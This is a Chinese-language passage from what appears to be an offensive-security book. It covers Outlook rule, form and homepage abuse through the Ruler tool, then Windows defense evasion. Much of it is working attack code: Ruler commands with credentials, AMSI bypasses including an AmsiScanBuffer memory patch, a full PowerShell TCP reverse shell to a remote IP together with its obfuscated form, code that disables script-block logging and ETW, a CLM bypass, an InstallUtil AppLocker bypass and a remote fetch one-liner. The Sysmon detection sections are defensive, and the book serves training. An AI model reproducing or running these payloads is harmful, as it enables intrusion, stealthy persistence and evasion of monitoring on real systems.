在本节中,我们将讨论在邮箱被攻破后如何通过规则、表单和文件夹主页实现远程代码执行(RCE)的方法。如果 Outlook 没有被修补,这些方法仍然有效。需要注意的是,我们讨论的是 Outlook 中的客户端规则。
让我们从 Outlook 规则[28]开始。规则存储在 Exchange 服务器中,新的 Outlook 实例会接收所有现有的规则。我们关注的是规则的动作部分及其触发条件。当我们创建规则时,有两个动作看起来很有前景:启动应用程序和运行脚本。要执行攻击,我们需要有效的凭据、启用的 MAPI over HTTP,并且需要将恶意文件放置在磁盘上或通过 UNC 路径(也可以使用 WebDAV)访问。此攻击在已修补的 Outlook 2016 及更高版本上无法使用。为了执行此攻击,我们可以使用一个名为 Ruler[29]的工具。以下命令将在 30 秒后创建并触发规则:
./ruler -u vinegrep -p 'Qwerty123!' -d windomain.local -e vinegrep@windomain.local -k --url https://192.168.56.106/autodiscover/autodiscover.xml --verbose –-debug add --trigger "vinegrep" --name evil --location \\\\192.168.56.100:8000\\payload.exe --send
规则已成功创建:
图 1.22 – 创建规则
有两个重要的注意事项:我们不能提供命令行参数,且需要允许外发的 WebDAV 流量。此外,在 2013 年 6 月的 Microsoft 补丁(KB3191938)更新之后,Outlook[30] 默认禁用了同时运行应用程序和脚本的规则。
接下来,我们将讨论 Outlook 表单[31]。它是在微软杀死规则向量后引入的。其思想是我们可以创建一个内部包含 VBScript 代码的自定义表单。幸运的是,这个脚本引擎与 VBA 宏脚本引擎是分开的,因此禁用宏并不会起作用。为了远程触发表单,我们需要发送一个正确的邮件消息类型。我们需要在 Outlook 中创建相同的表单。这项技术是实现持久化的好方法。即使受害者更改了密码,我们也可以只发送一封电子邮件并获得我们的 Shell。要运行此攻击,我们可以再次使用标尺:
./ruler -e vinegrep@windomain.local form add --suffix evil --input /tmp/command.txt --send
./ruler -e vinegrep@windomain.local form send --prefix evil
2017 年 9 月,当 Outlook 的 KB4011091 更新[32]发布时,定制表单脚本向量被摧毁。
有一个第三个向量需要讨论,称为 Outlook 主页[33]。主页允许我们通过指定一个 URL,当文件夹被打开时加载并显示该 URL,来自定义任何文件夹的默认视图。代码执行来自OutlookViewCtl
CLSID(0006F063-0000-0000-C000-000000000046),它作为对象嵌入并可以在CreateObject
方法中使用。我们需要做的就是创建我们自定义的主页,并借助标尺为用户设置它:
./ruler -u vinegrep -p 'Qwerty123!' -d windomain.local -e vinegrep@windomain.local -k --url https://192.168.56.106/autodiscover/autodiscover.xml --verbose --debug homepage add --url http://192.168.56.106/homepage.xhtml
命令执行的结果可以在以下截图中看到:
图 1.23 – 设置 Outlook 主页
微软在 2017 年 10 月通过 KB4011162 更新[34]完全删除了这个向量的主页功能。减少攻击面是解决问题的最佳方法。
在本节中,我们讨论了针对 Exchange Server 的不同攻击向量。为了缓解密码喷洒攻击,必须使用多因素认证(MFA)和适当的登录监控。所有 RCE 漏洞迟早都会收到补丁。还需要修补客户端软件,因为它可以被滥用进行横向移动和持久化。
总结
在本章中,我们为未来的活动部署了我们的实验室。我们很幸运地有两个杰出的免费项目可用于培训和研究。之后,我们讨论了 Active Directory 的攻击链、攻击目标环境的关键步骤,以及什么是 OpSec。然后,我们深入探讨了假设漏洞模型,展示了需要克服的重大障碍,以实现稳定的初步访问。我们讨论了三种针对 Exchange Server 的主要攻击向量:凭证访问、Zero2Hero 漏洞利用和客户端软件滥用。在下一章中,我们将探讨防御规避主题的皮毛。这是一个广泛且深入的话题,最终你会发现它归结为规则了解 你的工具。
进一步阅读
以下资源供进一步学习,将帮助你更深入了解本章中涵盖的攻击:
-
Splunk 攻击范围 –
github.com/splunk/attack_range
-
Orange Cyberdefense GOADv2 –
github.com/Orange-Cyberdefense/GOAD
-
在 Proxmox 上部署 GOADv2 –
mayfly277.github.io/categories/proxmox/
-
DetectionLab 项目 –
www.detectionlab.network/
-
Active Directory 杀链图 –
github.com/infosecn1nja/AD-Attack-Defense
-
红队基础设施 Wiki –
github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki
-
假设漏洞模型 –
www.redsiege.com/wp-content/uploads/2019/09/AssumedBreach-ABM.pdf
-
评估 Exchange 服务器安全性的思维导图 –
github.com/Orange-Cyberdefense/arsenal/blob/master/mindmap/Pentesting_MS_Exchange_Server_on_the_Perimeter.png
-
MailSniper –
github.com/dafthack/MailSniper
-
NameMash –
gist.github.com/superkojiman/11076951#file-namemash-py
-
EmailAddressMangler –
github.com/dafthack/EmailAddressMangler
-
snovvcrash 编写的 OABurl 提取脚本 –
gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438#file-oaburl-py
-
攻击 Exchange Web 接口 –
swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
-
PEAS: Python 2 库和应用程序,用于在 Exchange 服务器上运行命令 –
github.com/snovvcrash/peas
-
MWR ActiveSync 外泄研究 –
labs.withsecure.com/publications/accessing-internal-fileshares-through-exchange-activesync
-
ProxyLogon 漏洞发现 –
devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/
-
追踪 ProxyLogon –
bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c
-
发现 ProxyOracle 的漏洞研究人员的博客 –
devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-2-ProxyOracle/
-
关于 ProxyShell 的完整报告可以在 ZDI 博客中找到,链接如下 –
www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
-
Palo Alto 的博客文章,涵盖 ProxyNotShell 漏洞 –
unit42.paloaltonetworks.com/proxynotshell-cve-2022-41040-cve-2022-41082/
-
ProxyRelay 作者介绍该漏洞的详细信息 –
devco.re/blog/2022/10/19/a-new-attack-surface-on-MS-exchange-part-4-ProxyRelay/
-
关于 ProxyNotRelay 的报告,它是 ProxyRelay 和 ProxyNotShell 的结合 –
rw.md/2022/11/09/ProxyNotRelay.xhtml
-
漏洞 CVE-2020-0688 导致 Exchange Server 上的远程代码执行 –
www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
-
Ysoserial.net –
github.com/pwntester/ysoserial.net
-
关于 PrivExchange 漏洞的原创研究 –
dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
-
PrivExchange –
github.com/dirkjanm/privexchange/
-
通过 Outlook 邮件规则破坏工作站 –
sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/
-
Ruler 工具 –
github.com/sensepost/ruler
-
微软公告 KB3191938 –
support.microsoft.com/en-us/topic/description-of-the-security-update-for-outlook-2013-june-13-2017-d52f7b9a-488c-dd5a-0d43-da5832eaac5f
-
使用 Outlook 表单实现持久性 –
sensepost.com/blog/2017/outlook-forms-and-shells/
-
微软公告 KB4011091 –
support.microsoft.com/en-us/office/custom-form-script-is-now-disabled-by-default-bd8ea308-733f-4728-bfcc-d7cce0120e94
-
Outlook 主页功能滥用 –
sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
-
微软公告 KB15599094 –
learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15599094
第二章:防御规避
本章的主要思想很简单 – 了解你的工具。在获得目标机器的初始立足点后,从 GitHub 上获取新工具可能非常诱人,寻找低 hanging fruit 和快速胜利。在一些培训实验室中学习攻击概念可能效果很好;然而,在真实的参与中,一个成熟的对手可以轻松检测到你的恶意活动。有很多专业编写的工具,既有防御也有进攻,更不用说 C2 框架、供应商 EDR 等等。
本章不是一个完全全面的指南,教你如何规避所有可能的检测。规避是一个不断发展的游戏,处于攻击和防御之间。有几个因素可以影响进攻操作的方式,包括准备工作、特定工具的开发、团队的技能组合以及双方的能力。我们不会触及 EDR/杀毒软件规避。已经出版了一些优秀的书籍,将教你如何找到和开发可能的绕过方法,包括攻击安全解决方案本身。
我们将专注于可以在 Windows 环境中部署和强制执行的内置安全功能。在本章中,我们将涵盖以下主要主题:
-
AMSI、AppLocker 和 PowerShell
Constrained Language Mode
(CLM)的部署和绕过 -
部署 PowerShell 增强日志记录,规避它,并使用 Sysmon 来检测自己
-
什么是 ETW?它可以提供什么额外的功能和见解?
技术要求
在本章中,你将只使用 GOADv2 实验室中的两个虚拟机 – DC01 和 SRV01。确保 SRV01 是一个加入域的机器,因为我们将在本章中使用组策略。
AMSI、PowerShell CLM 和 AppLocker
在本节中,我们将讨论 Windows 中一些内置功能,可以限制攻击者在受损机器上的操作。AMSI、AppLocker 和 PowerShell CLM 可以以不同方式被绕过,但将它们视为深度防御是一个明智的决定。像往常一样,我们需要了解限制,并在可能的情况下覆盖绕过。
Antimalware Scan Interface
让我们首先讨论Antimalware Scan Interface
(AMSI)是什么。微软开发了它,为应用程序提供一组 API 调用,包括任何第三方应用程序,以执行基于签名的内容扫描。Windows Defender 使用它来扫描 PowerShell 脚本、.NET、VBA 宏、Windows 脚本宿主(WSH)、VBScript 和 JavaScript 以检测常见恶意软件。关于 AMSI 的重要之处在于你不需要部署它;自 Windows 10 以来它一直存在。
简单来说,AMSI 算法的工作原理如下:
-
amsi.dll
将加载到进程内存空间中;例如,PowerShell 和AmsiInitialize
将被调用。 -
然后调用
AmsiOpenSession
,为扫描打开一个会话。 -
在调用其中一个 API(
AmsiScanBuffer
或AmsiScanString)执行之前,脚本内容将被扫描。 -
如果内容没有已知的恶意签名,Microsoft Defender 将返回
1
作为结果,脚本将被执行。
为了确认 AMSI 的行为,我们可以使用 Process Hacker[1]或 API monitor[2]。这些开源工具允许我们查看加载的进程内模块,获取有关它们的信息以及其他许多信息。在以下截图中,我们可以看到已加载的amsi.dll
及其导出的函数列表:
图 2.1 – 加载的 amsi.dll 及其导出函数
来自 Microsoft 文档的重要警告如下:“但你最终需要向脚本引擎提供纯净的、未混淆的代码。正是在这个点上你调用 AMSI API。”用来证明这一点的快速测试如下:
图 2.2 – 检测与串联
这看起来很简单。我们可以先分割字符串,然后使用串联绕过 AMSI,但在更复杂的代码中,这种方法将需要更多的努力。研究人员用来开发可靠绕过的策略有很多——编码/混淆、钩子、内存修补、强制错误、注册表键修改和 DLL 劫持。你可以找到由S3cur3Th1sSh1t[3]和Pentest Laboratories[4]创建的两份很棒的绕过汇总列表及其原创研究致谢。某些绕过看起来像一个单行代码,但我强烈建议你深入研究并回顾它们,阅读原始研究并理解思维过程。还值得一提的是,并非每个绕过都会成功,因为微软也在不断修补它们。老牌的 base64 编码一行代码可能不会奏效。确保绕过在目标环境中有效的最佳方法是准确识别受害者的操作系统版本,在你的实验室环境中重现它,并进行测试、测试、测试。
注意
对于一些快速解决方案,有一个由Flangvik开发的免费优秀网站(amsi.fail/
),你可以在这个网站上生成各种 PowerShell 代码片段来禁用或突破 AMSI。另一个有用的工具是 Invoke-Obfuscation[5],由Daniel Bohannon编写。这个工具有不同的模式。对我而言,AST 模式是大多数时候提供可靠绕过的模式。其原理是,脚本将被混淆处理,以至于打破 AMSI 中的 AST 解析算法。
我们将尝试使用三种不同的技术绕过 AMSI:错误强制、混淆和内存修补。如前所述,我将使用 SRV01 机器:
Get-WmiObject Win32_OperatingSystem | Select PSComputerName, Caption, Version | fl
PSComputerName : CASTELROCK
Caption : Microsoft Windows Server 2019 Datacenter Evaluation
Version : 10.0.17763
方法 1 – 错误强制
让我们首先看看错误强制代码和一些分割/串联的幻想:
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)
执行上述命令的结果如下面的截图所示:
图 2.3 – 强制错误
方法 2 – 混淆
对于 AST 混淆,我们可以尝试使用 Nishang 框架[6]中的 PowerShellTcpOneLine.ps1
反向 Shell 回调,以及之前提到的 Invoke-Obfuscation 工具。我们将在另一台 Windows 计算机上使用 powercat[7] 在 443 端口上设置监听器。以下是原始的反向 Shell 代码:
$client = New-Object System.Net.Sockets.TCPClient('192.168.214.135',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
当我们尝试运行时,AMSI 捕获了我们:
图 2.4 – AMSI 阻止原始反向 Shell
让我们运行 Invoke-Obfuscation 工具,选择 AST 混淆,并提供原始反向 Shell 的路径。经过混淆后,代码如下所示:
Set-Variable -Name client -Value (New-Object System.Net.Sockets.TCPClient('192.168.214.135',443));Set-Variable -Name stream -Value ($client.GetStream());[byte[]]$bytes = 0..65535|%{0};while((Set-Variable -Name i -Value ($stream.Read($bytes, 0, $bytes.Length))) -ne 0){;Set-Variable -Name data -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i));Set-Variable -Name sendback -Value (iex $data 2>&1 | Out-String );Set-Variable -Name sendback2 -Value ($sendback + 'PS ' + (pwd).Path + '> ');Set-Variable -Name sendbyte -Value (([text.encoding]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
运行上述命令得到的结果如下:
图 2.5 – 混淆后的反向 Shell 回调
方法 3 – 内存补丁
我们可以通过几种方式在内存中操控 AMSI 来实现绕过。其背后的关键原因是我们完全控制了 amsi.dll
被加载的进程。一个例子是强制 AmsiScanBuffer
返回 AMSI_RESULT_CLEAN
。一般思路是导入 API 调用,然后返回一个特定的值给 AmsiScanBuffer()
调用:0x80070057
。原始的绕过方法现在已被 AMSI 检测到,因此我们可以通过使用双重 add
操作数并成功绕过控制来操控汇编指令。相关代码如下:
$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Win32
$test = [Byte[]](0x61, 0x6d, 0x73, 0x69, 0x2e, 0x64, 0x6c, 0x6c)
$LoadLibrary = [Win32]::LoadLibrary([System.Text.Encoding]::ASCII.GetString($test))
$test2 = [Byte[]] (0x41, 0x6d, 0x73, 0x69, 0x53, 0x63, 0x61, 0x6e, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72)
$Address = [Win32]::GetProcAddress($LoadLibrary, [System.Text.Encoding]::ASCII.GetString($test2))
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0x31, 0xC0, 0x05, 0x78, 0x01, 0x19, 0x7F, 0x05, 0xDF, 0xFE, 0xED, 0x00, 0xC3)
#0: 31 c0 xor eax,eax
#2: 05 78 01 19 7f add eax,0x7f190178
#7: 05 df fe ed 00 add eax,0xedfedf
#c: c3 ret
#for ($i=0; $i -lt $Patch.Length;$i++){$Patch[$i] = $Patch[$i] -0x2}
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length)
运行上述命令得到的结果如下:
图 2.6 – 使用内存补丁成功解除 AMSI 防护
作为攻击者,我们不能忽视一些防御机制也可能被滥用和绕过的事实。一个很好的例子是 netbiosX[8] 发布的内容,指出 AMSI 可以用来在被攻破的主机上实现持久性。利用之前的研究和他们的编码技巧,开发了一个伪造的 AMSI 提供者并在被攻破的主机上注册。通过使用特殊的关键词,我们可以从后门发起回调。
此处提到的所有技术都会在受害者的机器上留下某种痕迹。此外,即使绕过成功,防御者仍然有可能捕捉到。Pentest Laboratories[9] 和 F-Secure[10] 的精彩博客文章展示了如何创建检测并分享现成的可用方案。
在接下来的章节中,我们将讨论两种在企业环境中常见的安全控制措施。
AppLocker 和 PowerShell CLM
AppLocker 是微软在 Windows 7 中添加的,作为较旧的软件限制策略(SRP)的继任者。它本应成为一种全面的应用程序白名单解决方案。通过这个功能,你不仅可以限制应用程序,还可以限制脚本、批处理文件、DLL 等。限制的方式有几种:按名称、路径、发布者或哈希值进行限制。微软指出,AppLocker 是一个安全功能,而不是边界。现在的推荐做法是尽可能严格地执行Windows Defender 应用程序控制(WDAC),然后使用 AppLocker 来微调限制。然而,在复杂的企业环境中,仍然常见单独使用 AppLocker,因为它更容易部署和管理。
为了更详细地了解 AppLocker 的工作原理,我建议你阅读Tyraniddo关于此功能的博客四个部分[11]。他从 AppLocker 的设置和概述开始。第二部分,作者揭示了操作系统内核如何阻止进程创建,并通过一个清晰的例子加以说明。第三部分专注于规则处理,涉及访问令牌和访问检查。读者对安全描述符和令牌的基本了解会有所帮助。最后一部分则完全聚焦于 DLL 阻止。
现在我们知道了 AppLocker 是什么,为什么还需要其他功能呢?什么是 PowerShell CLM,它与 AppLocker 有什么关系?简而言之,我们可以通过启用 CLM 来限制用户使用 PowerShell 的敏感语言功能。这些敏感功能的一些例子包括 Windows API 调用、创建任意类型和点源代码[12]。
CLM 可以通过环境变量强制执行,或者通过语言模式进行设置。然而,这些方法不可靠,攻击者几乎不费吹灰之力就能绕过它们。但是,通过系统级的应用控制解决方案,它是可以使用的。其思想是,当 AppLocker 策略被执行时,PowerShell 会检测到并仅在 CLM 中运行。
这些保护措施有多强大?
我们将在我们的sevenkingdoms.local
实验室域中部署它。我建议在实验室中进行任何更改之前先拍摄一个快照,这样我们可以在需要时迅速恢复到初始状态。我们将在 DC01 上创建一个 AppLocker 组策略,并将其强制执行到 SRV01 服务器上。如果你从未部署过 AppLocker,这里有一份友好的指南[13]。规则很简单——动作、用户、条件以及必要时的例外。通过遵循前面提到的指南[13],我们将为用户创建默认规则并限制运行cmd.exe
。一个重要的注意事项——如果你属于管理员组,默认情况下,AppLocker 不会应用到你的账户。要检查当前的规则集,我们可以使用以下命令:
Get-AppLockerPolicy -Effective | Select-Object RuleCollections -ExpandProperty RuleCollections
新的Deny_CMD
规则可以在以下截图中看到:
图 2.7 – AppLocker 中的拒绝规则
此外,由于我们还对脚本强制执行了规则,PowerShell 在 CLM 中失效了。可以使用以下命令轻松检查:
图 2.8 – PowerShell CLM 的实际操作
这些安全功能的健壮性取决于我们正在实施的规则的质量。在 AppLocker 中,我们有发布者、文件哈希和路径条件。让我们简要讨论它们并展示一些可能的绕过方法。
路径限制可以通过评估受信任的路径并将我们的二进制文件复制到那里来绕过;例如,在C:\Windows
内有许多子文件夹,普通用户可以在那里复制文件。通过更改二进制文件为规则中提到的已知哈希值的二进制文件,可以绕过文件哈希拒绝规则。让我们绕过前两个条件并在主机上执行nc64.exe
。我创建了一个规则,通过其哈希值阻止nc64.exe
。我们首先将nc64.exe
复制到C:\Windows\System32\spool\drivers\color\
,然后通过在文件末尾添加额外的A
来更改文件哈希值以绕过文件哈希规则。绕过的结果如下:
图 2.9 – nc.exe 的路径和哈希规则绕过
发布者条件要难得多。原因是将检查应用程序的发布者签名和扩展属性。我们不能使用自签名证书来绕过它,但我们可以滥用具有我们需要的扩展功能的合法签名二进制文件。在lolbas-project.github.io/
上有一个包含此类二进制文件列表的整个项目。有两篇关于常见 LOLBAS 滥用以绕过 AppLocker 的博客文章,使用InstallUtil
[14]和 MSBuild[15]。简而言之,我们将使用MSBuild.exe
来编译和运行存储在 XML 文件中的恶意代码;例如,使用 Windows API 我们可以分配内存,并复制和运行我们的 shellcode。另一种方法是使用 InstallUtil 在受害者的计算机上运行我们的可执行文件:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\Windows\Tasks\my.exe"
但是如果cmd.exe
被锁定怎么办?没关系!您可以创建所需二进制文件的快捷方式,比如 InstallUtil 和 csc,然后手动更改目标字段值,以便存储所需的命令行来执行。只要 LOLBAS 二进制文件没有被阻止,它仍然可以可靠地工作。整个包含 AppLocker 绕过列表的项目都可以在 GitHub[16]上找到。通过评估它们,我们可以评估我们的规则有多健壮。
说到 CLM 绕过,有多种方法可以实现完全语言模式(Full Language Mode),例如启动 PowerShell 使其降级到版本 2(现在很少安装),使用rundll32.exe
配合PowerShlld.dll
[17],或者使用绕过方法,如InstallUtil
[18]的包装器和函数返回值修补[19]。如今,后三个项目需要混淆才能避开 Microsoft Defender。要了解更多关于如何寻找绕过的方法,我推荐阅读XPN的优秀研究报告,“通过 COM 实现的 AppLocker 和 CLM 绕过”[20]。不过让我给你展示一下我最近发现的一个我最喜欢的绕过方法,由sp00ks提供[21]。以下代码在 HKCU 注册表中设置环境变量值(你不需要是管理员),使用 WMI 创建一个 PowerShell 进程,然后再将值恢复:
$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:\windows\temp"
$TMPBypassPath = "C:\windows\temp"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "Powershell.exe"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:\Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:\Environment' -Name Temp -Value $CurrTemp
运行前述命令后得到的结果如下:
图 2.10 – CLM 绕过示例
正如我们在本节开头提到的,增强应用程序控制的最佳方法是将Windows Defender 应用程序控制(WDAC)与 AppLocker 一起部署。最强大的规则集之一叫做 AaronLocker[22],它可以通过组策略[23]与 WDAC 一起部署到你的环境中。建议首先以审核模式监控你的规则集,逐步进行优化。
PowerShell 增强日志记录与 Sysmon
在这一部分,我们将探讨 Sysmon[24] 是什么以及如何利用它来检测攻击者的活动。Sysmon 是 Windows 中的一项系统服务,我们可以安装它并用来记录各种事件的信息,包括进程创建、文件事件、注册表访问、命名管道和网络连接。日志会保存在 Windows 事件收集器中。Sysmon 不会阻止任何攻击或提供事件分析。目前有一些很好的项目可以帮助你开始使用 Sysmon。TrustedSec[25] 提供了一个很好的社区指南,我们将使用SwiftOnSecurity[26] 创建的 Sysmon 配置文件,因为它是最佳的高质量事件追踪模板之一。另外,Florian Roth[27] 和 Olaf Hartong[28] 也创建了提供多种配置文件的项目。
让我们安装 Sysmon,应用前一个项目中的配置,并开始深入分析日志。安装过程非常简单;只需以管理员身份运行一个命令,命令如下:
Sysmon64.exe -accepteula -i sysmonconfig-export.xml
预期结果如下:
图 2.11 – Sysmon 安装
现在,我们将启用 PowerShell 转录、脚本块和模块日志记录。为了启用这些功能,我将使用 kingslanding.sevenkingdoms.local
上的组策略管理工具。我将在 计算机配置 | 策略 | 管理模板 | **Windows 组件 | **Windows PowerShell
中创建一个单独的 GPO。可以在以下截图中看到这些设置:
图 2.12 – 启用 PowerShell 日志记录的组策略
这些日志记录功能旨在为防御者提供更好的可见性,特别是在组织中预计会使用 PowerShell 时。我们的第一个控制是 脚本块日志记录,包括 可疑命令的警告日志记录。已知 cobbr.io(C2 Covenant 框架的作者)发现了 ScriptBlock 日志记录[29] 和可疑命令日志记录[30] 的绕过方法。我只是稍微修改了代码以绕过 AMSI,并增加了一些可见性:
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetF`ie`ld"('cachedGro'+'upPolicySettings', 'N'+'onPu'+'blic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
Write-Host("Before")
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
Write-Host("After")
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] | fl
}
运行上述命令后得到的结果如下:
图 2.13 – PowerShell 脚本块日志记录绕过
需要考虑的一点是,我们的绕过操作仍然会被记录,直到我们首先禁用当前 PowerShell 会话中的Windows 事件跟踪(ETW)。可以使用以下命令完成此操作:
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
我们还可以混淆此命令以绕过可疑的脚本块日志记录。不要过于依赖混淆,因为经验丰富的蓝队会使用 DeepBlue[31] 等工具进行去混淆,并立即展开调查。幸运的是,对于这个绕过,我们不需要提升权限,只需操作组策略中的缓存值,因此无需修改主机。
BC-security 在他们的系列博客文章中引入了两个新的 PowerShell ScriptBlock 和 Module Logging 绕过方法。ScriptBlock 绕过基于这样一个事实:已经记录的脚本块如果第二次遇到会被跳过。其思路是在调用脚本之前将 HasLogged
的值设置为 True
。Module Logging 绕过的目的是创建一个没有关联模块或 PowerShell 快捷方式的可调用命令[32]。博客系列的第二部分展示了如何对命令进行混淆,从而使防御者的分析更加困难[33]。针对这些绕过的快速预防建议将需要 PowerShell Protect 模块[34]。
但是,如果启用了 PowerShell Transcription,我们的活动仍将记录在文件中,而不管之前的绕过。原因是即使我们在活动的 PowerShell 会话中禁用了转录,它仍将继续转录并忽略新更改的值。最初的绕过方法是由Jann Lemm在他的博客文章中展示的。这个想法是创建一个自定义 runspace,覆盖EnableTranscripting
的值,然后打开新的 runspace。博客文章中提供了概念验证代码。
但如果有一个工具可以帮助我们几乎不需要任何手动操作就绕过所有东西呢?那么,请欢迎 Invisi-Shell,由Omer Yair编写。该工具通过 CLR Profiler API 钩住.NET 程序集,使 PowerShell 安全控制失效。有关更多详细信息,我强烈建议您阅读该工具的代码,并观看作者在 DerbyCon 上的原始演讲。但请记住,该工具相当古老,并且很容易被大多数安全解决方案检测到。
实现所有这些的最新工具是由mgeeky编写的,名为Stracciatella
[37]。该工具基于 SharpPick 技术(从 C#程序集中启动 PowerShell 代码使用 runspaces),内置了 AMSI、ETW 和 PowerShell 日志记录绕过。但仍然需要一些 AV 逃避。
假设我们在受损的计算机上获得了管理员权限,并决定通过修改位于HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription
中的EnableTranscripting
注册表键来禁用转录。可以通过以下 PowerShell 命令从提升的 shell 中运行来完成:
Set-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0
但假设我们有一个 Sysmon 规则,如下所示:
<TargetObject name="PowerShell Logging Changes" condition="begin with">HKLM\Software\Policies\Microsoft\Windows\PowerShell\</TargetObject>
我们将收到一个可能触发调查的事件:
图 2.14 – Sysmon 检测到注册表更改
另一个 Sysmon 检测的好例子是通过注册表删除 AMSI 提供程序,这将在日志中创建事件 ID 13。所有提供程序都有其独特的键。例如,Windows Defender 有HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}
。如果您检查已发布的配置文件,Sysmon 可以从检测的角度提供更多信息。
另一个 Sysmon 的好例子是网络连接检测。让我们尝试运行类似以下命令的内容:
SyncAppvPublishingServer.vbs "br; iwr http://192.168.13.152:443/a"
Sysmon 会检测活动,但不会阻止连接:
图 2.15 – Sysmon 检测到可疑的出站连接
我们即将结束这一节,所以让我们简要地浏览一下查找和篡改 Sysmon 的可能方法。spotheplanet[38]创建了一个很好的指南。对手可以检查进程和服务名称,评估 Sysmon Windows 事件的注册表键,并搜索 Sysmon 配置和工具。
我们有两种主要方式绕过 Sysmon——在规则的盲点内操作或解除 Sysmon 的武装。规则绕过将特定于环境,并可能有显著的差异。那么,让我们来看看我们可以做些什么来解除 Sysmon 的武装。Olaf Hartong有一篇出色的博客文章描述了攻击者可能的攻击方式[39]。其中大多数技术需要在机器上具有高度特权访问权限,并可能会触发蓝队的立即严重安全事件,但它们仍然值得一提:
-
配置更改
-
停止 Sysmon 服务
-
抑制日志记录
-
通过注册表访问/更改配置
-
在
Sysmon.exe
中进行进程注入 -
驱动程序重命名
静默 Sysmon 的可靠方法是使用Invoke-Phant0m
工具[40],它可以保持受害者的机器在线,但不记录任何内容,因为它会终止日志线程。还有更先进的方式将 Sysmon 置于静默模式,比如修补EtwEventWrite
API[41]。Code White做了显著的研究,展示了如何将 Sysmon hook 住,并且可以操控事件[42]。特别是,我想提到的是,这种解除 Sysmon 的方式可能是目前公开可用的最为“安静”的方式,正如研究人员所说[42]:“没有可疑的 ProcessAccess 事件在 Sysmon 或事件日志中可见,使得检测(据称)变得非平凡。”
另一种方式是使用一个名为Shhmon
[43]的工具完全卸载 Sysmon 驱动程序。它允许攻击者找到甚至被重命名的 Sysmon 驱动程序并将其卸载。我们也可以使用一个内置的实用程序fltMC.exe
或misc::mflt
Mimikatz 模块来达到同样的目的。无论如何,日志中仍然留下了显著的事件,可以用来追踪这种技术。
Windows 事件跟踪(ETW)
